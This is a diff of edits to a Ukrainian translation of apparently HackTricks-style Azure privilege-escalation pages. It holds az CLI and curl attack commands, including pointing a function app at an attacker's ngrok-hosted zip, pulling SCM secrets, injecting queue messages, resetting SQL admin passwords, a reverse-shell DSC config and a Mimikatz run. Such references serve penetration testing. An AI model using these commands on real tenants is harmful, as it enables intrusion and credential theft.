Отже, можливо встановити значення налаштування **`WEBSITE_RUN_FROM_PACKAGE`**, яке вказує на URL zip-файл, що містить новий код для виконання всередині веб-додатку:
@@ -203,9 +203,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- Змініть функцію, збережіть попередні параметри та додайте в кінці конфігурацію **`WEBSITE_RUN_FROM_PACKAGE`**, що вказує на URL з **zip**, що містить код.
- Змініть функцію, зберігши попередні параметри, і додайте в кінці конфігурацію **`WEBSITE_RUN_FROM_PACKAGE`**, що вказує на URL з **zip**, що містить код.
Наступний приклад моїх **власних налаштувань, які вам потрібно змінити на ваші**, зверніть увагу в кінці на значення `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, тут я розміщував додаток.
Наступний приклад - це **мої власні налаштування, вам потрібно змінити значення на свої**, зверніть увагу в кінці на значення `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , тут я хостив додаток.
```bash
# Modify the function
az rest --method PUT \
@@ -215,7 +215,7 @@ az rest --method PUT \
```
### Microsoft.Web/sites/hostruntime/vfs/write
З цією дозволом **можливо змінювати код програми** через веб-консоль (або через наступну API точку доступу):
З цією дозволом **можливо змінювати код програми** через веб-консоль (або через наступну точку доступу API):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -234,7 +234,7 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \
--output json
```
Ще один варіант - встановити свої власні облікові дані та використовувати їх за допомогою:
Інший варіант полягає в тому, щоб встановити свої власні облікові дані та використовувати їх за допомогою:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
@@ -264,7 +264,7 @@ az rest --method PUT \
```
- **Метод SCM**
Тоді ви можете отримати доступ до **SCM URL** вашого функціонального додатку з цими **базовими обліковими даними** та отримати значення змінних середовища:
Потім ви можете отримати доступ до **SCM URL** вашого функціонального додатку з цими **базовими обліковими даними** та отримати значення змінних середовища:
```bash
# Get settings values
curl -u '<username>:<password>' \
@@ -297,7 +297,7 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Зверніть увагу, що **FTP-ім'я користувача** зазвичай має формат \<app-name>\\$\<app-name>._
_Зверніть увагу, що **FTP ім'я користувача** зазвичай має формат \<app-name>\\$\<app-name>._
### Microsoft.Web/sites/publish/Action
@@ -359,9 +359,9 @@ az functionapp identity assign \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Remote Debugging
### Віддалене налагодження
Також можливо підключитися для налагодження працюючої Azure функції, як [**пояснено в документації**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Однак за замовчуванням Azure вимкне цю опцію через 2 дні, якщо розробник забуде, щоб уникнути залишення вразливих конфігурацій.
Також можливо підключитися для налагодження працюючої функції Azure, як [**пояснено в документації**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Однак за замовчуванням Azure вимкне цю опцію через 2 дні, якщо розробник забуде, щоб уникнути залишення вразливих конфігурацій.
Можливо перевірити, чи увімкнено налагодження для функції за допомогою:
```bash

View File

@@ -4,7 +4,7 @@
## Azure Key Vault
Для отримання додаткової інформації про цей сервіс перегляньте:
Для отримання додаткової інформації про цю службу перегляньте:
{{#ref}}
../az-services/keyvault.md

View File

@@ -12,11 +12,11 @@
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
Зловмисник з цим дозволом може переглядати повідомлення з Azure Storage Queue. Це дозволяє зловмиснику бачити вміст повідомлень, не позначаючи їх як оброблені або не змінюючи їхній стан. Це може призвести до несанкціонованого доступу до чутливої інформації, що дозволяє витік даних або збір розвідки для подальших атак.
Зловмисник з цим дозволом може переглядати повідомлення з Azure Storage Queue. Це дозволяє зловмиснику бачити вміст повідомлень, не позначаючи їх як оброблені або не змінюючи їхній стан. Це може призвести до несанкціонованого доступу до чутливої інформації, що дозволяє ексфільтрацію даних або збір розвідки для подальших атак.
```bash
az storage message peek --queue-name <queue_name> --account-name <storage_account>
```
**Потенційний вплив**: Несанкціонований доступ до черги, витік повідомлень або маніпуляція чергою з боку несанкціонованих користувачів або сервісів.
**Потенційний вплив**: Несанкціонований доступ до черги, витік повідомлень або маніпуляції з чергою з боку несанкціонованих користувачів або сервісів.
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action`
@@ -26,13 +26,13 @@ az storage message get --queue-name <queue_name> --account-name <storage_account
```
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action`
З цією дозволом зловмисник може додавати нові повідомлення до черги Azure Storage. Це дозволяє їм інжектувати шкідливі або несанкціоновані дані в чергу, що потенційно може викликати непередбачувані дії або порушити роботу downstream-сервісів, які обробляють повідомлення.
З цією дозволом зловмисник може додавати нові повідомлення до Azure Storage Queue. Це дозволяє їм інжектувати шкідливі або несанкціоновані дані в чергу, що потенційно може викликати непередбачувані дії або порушити роботу downstream-сервісів, які обробляють повідомлення.
```bash
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
```
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
Цей дозвіл дозволяє зловмиснику додавати нові повідомлення або оновлювати існуючі в Azure Storage Queue. Використовуючи це, вони можуть вставляти шкідливий контент або змінювати існуючі повідомлення, потенційно вводячи в оману програми або викликаючи небажану поведінку в системах, які покладаються на чергу.
Ця дозволяє зловмиснику додавати нові повідомлення або оновлювати існуючі в Azure Storage Queue. Використовуючи це, вони можуть вставляти шкідливий контент або змінювати існуючі повідомлення, потенційно вводячи в оману програми або викликаючи небажану поведінку в системах, які покладаються на чергу.
```bash
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
@@ -46,7 +46,7 @@ az storage message update --queue-name <queue-name> \
```
### Action: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
Цей дозвіл дозволяє зловмиснику створювати або змінювати черги та їх властивості в межах облікового запису зберігання. Його можна використовувати для створення несанкціонованих черг, зміни метаданих або зміни списків контролю доступу (ACL), щоб надати або обмежити доступ. Ця можливість може порушити робочі процеси, ввести шкідливі дані, ексфільтрувати чутливу інформацію або маніпулювати налаштуваннями черги для подальших атак.
Ця дозволяє зловмиснику створювати або змінювати черги та їх властивості в межах облікового запису зберігання. Її можна використовувати для створення несанкціонованих черг, зміни метаданих або зміни списків контролю доступу (ACL), щоб надати або обмежити доступ. Ця можливість може порушити робочі процеси, ввести шкідливі дані, ексфільтрувати чутливу інформацію або маніпулювати налаштуваннями черги для подальших атак.
```bash
az storage queue create --name <new-queue-name> --account-name <storage-account>

View File

@@ -12,7 +12,7 @@
### Відправка повідомлень. Дія: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` АБО `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
Ви можете отримати `PrimaryConnectionString`, який діє як облікові дані для простору імен Service Bus. З цим рядком підключення ви можете повністю автентифікуватися як простір імен Service Bus, що дозволяє вам відправляти повідомлення в будь-яку чергу або тему та потенційно взаємодіяти з системою способами, які можуть порушити операції, видавати себе за дійсних користувачів або впроваджувати шкідливі дані в робочий процес обміну повідомленнями.
Ви можете отримати `PrimaryConnectionString`, який діє як облікові дані для простору імен Service Bus. З цим рядком підключення ви можете повністю аутентифікуватися як простір імен Service Bus, що дозволяє вам відправляти повідомлення в будь-яку чергу або тему та потенційно взаємодіяти з системою способами, які можуть порушити роботу, видавати себе за дійсних користувачів або впроваджувати шкідливі дані в робочий процес обміну повідомленнями.
```python
#You need to install the following libraries
#pip install azure-servicebus

View File

@@ -4,7 +4,7 @@
## SQL Database Privesc
Для отримання додаткової інформації про SQL Database дивіться:
Для отримання додаткової інформації про SQL Database перегляньте:
{{#ref}}
../az-services/az-sql.md
@@ -12,7 +12,7 @@
### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
З цими дозволами користувач може виконати ескалацію привілеїв, оновлюючи або створюючи Azure SQL сервери та змінюючи критичні конфігурації, включаючи адміністративні облікові дані. Цей дозвіл дозволяє користувачу оновлювати властивості сервера, включаючи пароль адміністратора SQL сервера, що дозволяє несанкціонований доступ або контроль над сервером. Вони також можуть створювати нові сервери, потенційно вводячи тіньову інфраструктуру для зловмисних цілей. Це стає особливо критичним у середовищах, де "Microsoft Entra Authentication Only" вимкнено, оскільки вони можуть експлуатувати SQL-автентифікацію для отримання необмеженого доступу.
З цими дозволами користувач може виконати ескалацію привілеїв, оновлюючи або створюючи Azure SQL сервери та змінюючи критичні конфігурації, включаючи адміністративні облікові дані. Цей дозвіл дозволяє користувачу оновлювати властивості сервера, включаючи пароль адміністратора SQL сервера, що дозволяє несанкціонований доступ або контроль над сервером. Вони також можуть створювати нові сервери, потенційно вводячи тіньову інфраструктуру для зловмисних цілей. Це стає особливо критичним у середовищах, де "Microsoft Entra Authentication Only" вимкнено, оскільки вони можуть використовувати SQL-аутентифікацію для отримання необмеженого доступу.
```bash
# Change the server password
az sql server update \
@@ -28,7 +28,7 @@ az sql server create \
--admin-user <admin_username> \
--admin-password <admin_password>
```
Додатково необхідно увімкнути публічний доступ, якщо ви хочете отримати доступ з непри приватного кінцевого пункту, щоб увімкнути це:
Додатково необхідно увімкнути публічний доступ, якщо ви хочете отримати доступ з непри приватної точки доступу, щоб увімкнути це:
```bash
az sql server update \
--name <server-name> \
@@ -37,7 +37,7 @@ az sql server update \
```
### "Microsoft.Sql/servers/firewallRules/write"
Зловмисник може маніпулювати правилами брандмауера на Azure SQL серверах, щоб дозволити несанкціонований доступ. Це можна використати для відкриття сервера для конкретних IP-адрес або цілих діапазонів IP, включаючи публічні IP, що дозволяє доступ для зловмисників. Ця діяльність після експлуатації може бути використана для обходу існуючих мережевих засобів безпеки, встановлення стійкості або полегшення бічного переміщення в середовищі шляхом відкриття чутливих ресурсів.
Зловмисник може маніпулювати правилами брандмауера на Azure SQL серверах, щоб дозволити несанкціонований доступ. Це можна використати для відкриття сервера для конкретних IP-адрес або цілих діапазонів IP, включаючи публічні IP, що дозволяє доступ для зловмисників. Ця діяльність після експлуатації може бути використана для обходу існуючих мережевих засобів безпеки, встановлення стійкості або полегшення латерального переміщення в середовищі шляхом відкриття чутливих ресурсів.
```bash
# Create Firewall Rule
az sql server firewall-rule create \
@@ -56,7 +56,7 @@ az sql server firewall-rule update \
--end-ip-address <new-end-ip-address>
```
Додатково, `Microsoft.Sql/servers/outboundFirewallRules/delete` дозволяє вам видаляти правило брандмауера.
ПРИМІТКА: Необхідно мати увімкнений публічний доступ
ПРИМІТКА: Необхідно мати увімкнений публічний доступ.
### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
@@ -70,11 +70,11 @@ az sql server firewall-rule create \
--end-ip-address <end_ipv6_address>
```
Додатково, `Microsoft.Sql/servers/ipv6FirewallRules/delete` дозволяє вам видаляти правило брандмауера.
ПРИМІТКА: Необхідно, щоб публічний доступ був увімкнений
ПРИМІТКА: Необхідно мати увімкнений публічний доступ
### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
З цими дозволами ви можете підвищити привілеї в середовищі Azure SQL Server, отримуючи доступ до SQL баз даних і витягуючи критичну інформацію. Використовуючи команду нижче, зловмисник або авторизований користувач можуть встановити себе або інший обліковий запис як адміністратора Azure AD. Якщо "Microsoft Entra Authentication Only" увімкнено, ви можете отримати доступ до сервера та його екземплярів. Ось команда для встановлення адміністратора Azure AD для SQL сервера:
З цими дозволами ви можете підвищити привілеї в середовищі Azure SQL Server, отримуючи доступ до SQL баз даних і витягуючи критичну інформацію. Використовуючи команду нижче, зловмисник або авторизований користувач можуть встановити себе або інший обліковий запис як адміністратора Azure AD. Якщо "Microsoft Entra Authentication Only" увімкнено, ви зможете отримати доступ до сервера та його екземплярів. Ось команда для встановлення адміністратора Azure AD для SQL сервера:
```bash
az sql server ad-admin create \
--server <server_name> \
@@ -84,7 +84,7 @@ az sql server ad-admin create \
```
### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
З цими дозволами ви можете налаштувати та забезпечити "Тільки автентифікацію Microsoft Entra" на Azure SQL Server, що може сприяти ескалації привілеїв у певних сценаріях. Зловмисник або авторизований користувач з цими дозволами можуть увімкнути або вимкнути автентифікацію лише для Azure AD.
З цими дозволами ви можете налаштувати та впровадити "Тільки автентифікацію Microsoft Entra" на Azure SQL Server, що може сприяти ескалації привілеїв у певних сценаріях. Зловмисник або авторизований користувач з цими дозволами можуть увімкнути або вимкнути автентифікацію лише для Azure AD.
```bash
#Enable
az sql server azure-ad-only-auth enable \

View File

@@ -12,13 +12,13 @@
### Microsoft.Storage/storageAccounts/listkeys/action
Принципал з цим дозволом зможе переглядати (та секретні значення) **ключів доступу** облікових записів зберігання. Це дозволяє принципалу підвищити свої привілеї над обліковими записами зберігання.
Принципал з цим дозволом зможе перерахувати (та секретні значення) **ключі доступу** облікових записів зберігання. Це дозволяє принципалу підвищити свої привілеї над обліковими записами зберігання.
```bash
az storage account keys list --account-name <acc-name>
```
### Microsoft.Storage/storageAccounts/regenerateKey/action
Принципал з цим дозволом зможе оновити та отримати нове значення секрету **ключів доступу** облікових записів зберігання. Це дозволяє принципалу підвищити свої привілеї над обліковими записами зберігання.
Принципал з цим дозволом зможе оновити та отримати нове значення секрету **access keys** облікових записів зберігання. Це дозволяє принципалу підвищити свої привілеї над обліковими записами зберігання.
Більше того, у відповіді користувач отримає значення оновленого ключа, а також неоновленого:
```bash
@@ -54,7 +54,7 @@ az storage container immutability-policy update \
--resource-group <RESOURCE_GROUP> \
--period <NEW_RETENTION_PERIOD_IN_DAYS>
```
## File shares specific privesc
## Специфічний привілейований доступ до файлових ресурсів
### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
@@ -70,7 +70,7 @@ az storage container immutability-policy update \
### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
З цим дозволенням зловмисник може створювати та оновлювати (якщо має дозволення `Microsoft.Storage/storageAccounts/localusers/read`) нового локального користувача для облікового запису Azure Storage (налаштованого з ієрархічним простором імен), включаючи вказівку дозволів користувача та домашнього каталогу. Це дозволення є значним, оскільки дозволяє зловмиснику надати собі доступ до облікового запису сховища з конкретними дозволами, такими як читання (r), запис (w), видалення (d) та список (l) та інше. Додатково, методи аутентифікації, які використовуються, можуть бути паролі, згенеровані Azure, та пари SSH-ключів. Немає перевірки, чи вже існує користувач, тому ви можете перезаписати інших користувачів, які вже там є. Зловмисник може підвищити свої привілеї та отримати доступ SSH до облікового запису сховища, потенційно відкриваючи або компрометуючи чутливі дані.
З цим дозволенням зловмисник може створювати та оновлювати (якщо має дозволення `Microsoft.Storage/storageAccounts/localusers/read`) нового локального користувача для облікового запису Azure Storage (налаштованого з ієрархічним простором імен), включаючи вказівку дозволів користувача та домашнього каталогу. Це дозволення є значущим, оскільки дозволяє зловмиснику надавати собі доступ до облікового запису сховища з конкретними дозволами, такими як читання (r), запис (w), видалення (d) та список (l) та інше. Додатково, методи аутентифікації, які використовуються, можуть бути паролями, згенерованими Azure, та парами SSH-ключів. Немає перевірки, чи вже існує користувач, тому ви можете перезаписати інших користувачів, які вже там є. Зловмисник може підвищити свої привілеї та отримати доступ SSH до облікового запису сховища, потенційно відкриваючи або компрометуючи чутливі дані.
```bash
az storage account local-user create \
--account-name <STORAGE_ACCOUNT_NAME> \
@@ -121,7 +121,7 @@ az storage share-rm restore \
```
## Інші цікаві дозволи (TODO)
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Змінює власність блобу
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Змінює право власності на блоб
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Модифікує дозволи блобу
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Повертає результат команди блобу
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action

View File

@@ -12,7 +12,7 @@
### **`Microsoft.Compute/virtualMachines/extensions/write`**
Ця дозволена дія дозволяє виконувати розширення у віртуальних машинах, що дозволяє **виконувати довільний код на них**.\
Цей дозвіл дозволяє виконувати розширення у віртуальних машинах, що дозволяє **виконувати довільний код на них**.\
Приклад зловживання користувацькими розширеннями для виконання довільних команд у ВМ:
{{#tabs }}
@@ -105,7 +105,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredConfigurationState (DSC)</summary>
Це **розширення ВМ**, яке належить Microsoft і використовує PowerShell DSC для управління конфігурацією Azure Windows ВMs. Тому його можна використовувати для **виконання довільних команд** у Windows VMs через це розширення:
Це **розширення VM**, яке належить Microsoft і використовує PowerShell DSC для управління конфігурацією Azure Windows VMs. Тому його можна використовувати для **виконання довільних команд** у Windows VMs через це розширення:
```powershell
# Content of revShell.ps1
Configuration RevShellConfig {
@@ -155,17 +155,17 @@ Set-AzVMDscExtension `
<details>
<summary>Гібридний Runbook Worker</summary>
<summary>Гібридний робочий процес</summary>
Це розширення ВМ, яке дозволяє виконувати runbook-и у ВМ з облікового запису автоматизації. Для отримання додаткової інформації перегляньте службу [Облікові записи автоматизації](../az-services/az-automation-account/).
Це розширення ВМ, яке дозволяє виконувати робочі процеси у ВМ з облікового запису автоматизації. Для отримання додаткової інформації перегляньте службу [Облікові записи автоматизації](../az-services/az-automation-account/).
</details>
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
Це необхідні дозволи для **створення нового галерейного застосунку та виконання його всередині ВМ**. Галерейні застосунки можуть виконувати будь-що, тому зловмисник може зловживати цим для компрометації екземплярів ВМ, виконуючи довільні команди.
Це необхідні дозволи для **створення нового додатку галереї та виконання його всередині ВМ**. Додатки галереї можуть виконувати будь-що, тому зловмисник може зловживати цим для компрометації екземплярів ВМ, виконуючи довільні команди.
Останні 2 дозволи можуть бути уникнуті шляхом спільного використання застосунку з орендарем.
Останні 2 дозволи можуть бути уникнуті шляхом спільного використання додатку з орендарем.
Приклад експлуатації для виконання довільних команд:
@@ -298,19 +298,19 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
### `Microsoft.Compute/virtualMachines/login/action`
Ця дозволяє користувачу **увійти як користувач у VM через SSH або RDP** (за умови, що автентифікація Entra ID увімкнена у VM).
Ця дозволяє користувачу **увійти як користувач у VM через SSH або RDP** (якщо автентифікація Entra ID увімкнена у VM).
Увійдіть через **SSH** за допомогою **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** та через **RDP** з вашими **звичайними обліковими даними Azure**.
### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`
Ця дозволяє користувачу **увійти як користувач у VM через SSH або RDP** (за умови, що автентифікація Entra ID увімкнена у VM).
Ця дозволяє користувачу **увійти як користувач у VM через SSH або RDP** (якщо автентифікація Entra ID увімкнена у VM).
Увійдіть через **SSH** за допомогою **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** та через **RDP** з вашими **звичайними обліковими даними Azure**.
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Усі ці дозволи необхідні для **створення VM з конкретною керованою ідентичністю** та залишення **порту відкритим** (22 у цьому випадку). Це дозволяє користувачу створити VM і підключитися до нього, а також **викрасти токени керованої ідентичності** для ескалації привілеїв до неї.
Усі ці дозволи необхідні для **створення VM з конкретною керованою ідентичністю** та залишення **порту відкритим** (22 у цьому випадку). Це дозволяє користувачу створити VM і підключитися до нього та **викрасти токени керованої ідентичності** для ескалації привілеїв до нього.
Залежно від ситуації може знадобитися більше або менше дозволів для зловживання цією технікою.
```bash
@@ -327,7 +327,7 @@ az vm create \
```
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Ці дозволи достатні для **призначення нових керованих ідентичностей віртуальній машині**. Зверніть увагу, що віртуальна машина може мати кілька керованих ідентичностей. Вона може мати **системну призначену** ідентичність та **багато користувацьких керованих ідентичностей**.\
Ці дозволи достатні для **призначення нових керованих ідентичностей віртуальній машині**. Зверніть увагу, що віртуальна машина може мати кілька керованих ідентичностей. Вона може мати **системну призначену ідентичність** та **багато користувацьких керованих ідентичностей**.\
Потім, з сервісу метаданих можна згенерувати токени для кожної з них.
```bash
# Get currently assigned managed identities to the VM
@@ -343,7 +343,7 @@ az vm identity assign \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
```
Тоді атакуючий повинен **якось скомпрометувати ВМ**, щоб вкрасти токени з призначених керованих ідентичностей. Перевірте **додаткову інформацію в**:
Тоді зловмисник повинен **якось скомпрометувати ВМ**, щоб вкрасти токени з призначених керованих ідентичностей. Перевірте **додаткову інформацію в**:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm